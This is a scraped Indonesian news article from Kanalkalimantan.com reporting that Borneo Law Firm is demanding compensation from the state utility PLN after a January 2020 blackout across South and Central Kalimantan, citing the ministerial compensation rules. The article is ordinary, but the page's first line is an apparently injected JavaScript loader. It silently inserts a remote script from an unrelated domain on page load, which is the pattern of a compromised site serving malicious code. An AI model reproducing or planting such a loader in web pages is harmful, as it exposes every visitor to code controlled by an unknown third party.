(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Buntut Listrik Padam, Borneo Law Firm Gugat PLN Minta Ganti Rugi


KANALKALIMANTAN.COM, BANJARMASIN – Peristiwa gangguan listrik yang mengakibatkan sebagian besar wilayah Kalsel bahkan Kalteng menjadi gelap gulita, membuat Borneo Law Firm menjadi gerah. Dalam keterangan tertulis yang diterima Kanalkalimantan.com pada Senin (20/1/2020) siang, Presdir Borneo Law Firm Muhammad Pazri mengatakan, alasan PLN terjadi gangguan jalur transmisi Saluran Udara Tegangan Tinggi (SUTT) 150 kilo Volt (kV) di jalur antara Gardu Induk (GI) Rantau dan GI Barikin.

Indikasi awal gangguan disebabkan oleh sambaran petir pada jalur transmisi SUTT 150 kV tersebut. Gengguan tersebut menyebabkan padamnya suplai listrik di beberapa wilayah Kalimantan Selatan dan Kalimantan Tengah. Adapun beberapa Gardu Induk yang terhenti suplai listriknya adalah sebagai berikut : GI Bandara Banjarbaru, GI Cempaka, GI Mantuil, GI Satui, GI Batulicin, GI Sampit, GI Bagendang, dan GI Pangkalan Bun.Suplai listrik pada pelanggan yang berada di sekitar GI tersebut untuk sementara terhenti. Menurut Pazri, hal tersebut atas sangat tidak berdasar alasan PLN, karena dari dahulu  sampai dengan sekarang selalu terulang menjadi alasan klasik, yang menjadi dugaan PLN tidak profesional.

“Kami Borneo Law Firm menilai dengan adanya kasus mati listrik serentak se Kalselteng, PLN harus memberikan kompensasi atas kerugian yang dialami masyarakat,” kata Pazri.

PLN dan Pemerintah Pusat, menurut pengacara muda ini, harus adil. Pazri mencontohkan pada sekitar Agustus 2019 lalu, pemadaman listrik serentak di sebagian wilayah pulau Jawa, utamanya di Jabodetabek lalu mendapat kompensasi sampai triliunan rupiah.

“Bagaimana dengan PLN Kalselteng saat ini? Padam listrik ini kejadian ini sangat merugikan konsumen dan mayatakat yang sehari-hari sangat mengandalkan pasokan listrik untuk melakukan aktivitas,terlebihnya dimatikan pada saat pagi hari, malam dan waktu-waktu yang sangat dibutuhkan masyarakat listrik,” tambahnya.

Menurut Pazri, PLN harus menegakkan Undang-Undang, yang mana saat ini aturan baru mengenai besaran kompensasi PLN tertuang dalam Peraturan Menteri ESDM Nomor 18 Tahun 2019 tentang Tingkat Mutu Pelayanan dan Biaya yang Terkait dengan Penyaluran Tenaga Listrik oleh PT Perusahaan Listrik Negara (Persero). Beleid tersebut mengubah aturan sebelumnya yakni Peraturan Menteri ESDM Nomor 27 Tahun 2017.

‘Adapun besaran kompensasi tersebut mencapai 500% dari biaya beban atau rekening minimum dengan memperhitungkan indikator lama gangguan. Beleid tersebut mulai berlaku pada 1 Januari 2020.Besaran kompensasi berdasarkan lama gangguan yang akan dibayarkan PLN yakni terbagi atas enam ketentuan,” jelas Pazri.

Menurut Borneo Law Firm, PLN harus juga memberlakukan aturan itu kepada Masyarakat Se-Kalselteng. Pihaknya berharap, Gubernur Kalsel dan Gubernur Kalteng, Anggota DPR RI Perwakilan Kalselteng bersikap dan mendesak PLN terkait pemadaman listrik serentak di Kalsel-Teng ini. Selain itu, PLN dituntut untuk memberikan kompensasi dan harus memberikan perbaikan.

<

p style=”text-align: justify;”>“Dirut PLN pusat serta Kementerian ESDM juga harus audit PLN Kalselteng dalam pelaksanaan manajemennya,” tukasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Desy Arfianty

Recent Posts

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

51 menit ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

55 menit ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

4 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

5 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

6 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

9 jam ago

This website uses cookies.